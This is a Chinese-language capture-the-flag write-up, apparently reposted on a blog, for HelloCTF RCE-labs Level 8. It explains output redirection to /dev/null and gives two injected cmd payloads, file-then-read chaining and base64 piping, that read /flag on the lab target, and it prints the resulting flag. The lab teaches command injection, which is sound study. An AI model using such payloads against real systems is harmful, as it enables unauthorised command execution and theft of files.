当前位置: 首页 > news >正文

HelloCTF [RCE-labs] Level 8 - 文件描述和重定向

开启靶场,打开链接:

GET传参cmd

system($cmd.">/dev/null 2>&1");

这行代码将执行命令 $cmd,并且将其标准输出和标准错误输出都重定向到 /dev/null,这意味着无论命令的输出还是可能产生的错误信息都不会显示出来

> /dev/null 是一个输出重定向,它把标准输出重定向到 /dev/null,这样就不会有输出出现在屏幕上。

2>&1 是另一个重定向操作,它把标准错误输出复制到之前的标准输出位置(即 /dev/null),这样标准错误也不会出现在屏幕上。


可以尝试将cat /flag的输出重定向到一个临时文件中,然后再通过其他命令读取这个临时文件的内容:

1、创建临时文件:

cat /flag > /tmp/temp_flag

2、读取临时文件内容:

cat /tmp/temp_flag

3、将这两个命令组合起来,可以构造如下命令:

cat /flag > /tmp/temp_flag; cat /tmp/temp_flag;

4、构造payload:

/?cmd=cat /flag > /tmp/temp_flag; cat /tmp/temp_flag;

成功得到flag:

NSSCTF{bcc499e2-7305-4f60-9c5b-6280b8889896}


当然,还有一种思路:

使用base64命令将/flag的内容编码成Base64格式,然后通过管道输出。由于base64编码会将输出转换成ASCII格式,可以通过网络更容易地传输。

1、将内容编码为Base64:

cat /flag | base64

2、构造payload:

/?cmd=cat /flag | base64;

一样成功得到flag

http://www.lryc.cn/news/471708.html

相关文章:

  • DEVOPS: 集群伸缩原理
  • 什么是SMO算法
  • MySQL根据.idb数据恢复脚本,做成了EXE可执行文件
  • Spring Boot面试题
  • 原生页面引入Webpack打包JS
  • 健康之路押注医药零售:毛利率下滑亏损扩大,医疗咨询人次大幅减少
  • 【人工智能-初级】第7章 聚类算法K-Means:理论讲解与代码示例
  • HOT 100 技巧题(136/169/75/31/287)
  • 什么是时间戳?怎么获取?有什么用?
  • LeetCode:459重复的子字符串
  • 【含开题报告+文档+PPT+源码】基于SSM的旅游与自然保护平台开发与实现
  • 【ANTs】医疗影像工具ANTs多种安装方式教程
  • 想要音频里的人声,怎么把音频里的人声和音乐分开?
  • python代码中通过pymobiledevice3访问iOS沙盒目录获取app日志
  • Spring AOP 使用方法总结
  • LeetCode 每日一题 2024/10/21-2024/10/27
  • 不到1500元的I卡可以玩转3A大作吗?撼与科技Intel Arc A750显卡游戏性能实
  • STK与MATLAB互联——仿真导航卫星与地面用户间距离和仰角参数
  • js面试问题笔记(一)
  • pip 和 pipx 的主要区别?
  • 4457M数字示波器
  • 【永中软件-注册/登录安全分析报告】
  • Tomcat作为web的优缺点
  • conda虚拟环境中安装cuda方法、遇到的问题
  • 【CPN TOOLS建模学习】设置变迁的属性
  • 一个简单的例子,说明Matrix类的妙用
  • 【C++】类和对象(四):析构函数
  • linux中各目录作用及介绍
  • v4.7版本使用线下付款方式不给管理员发送新订单通知问题修复
  • vue3中mitt和pinia的区别和主要用途,是否有可重合的部分?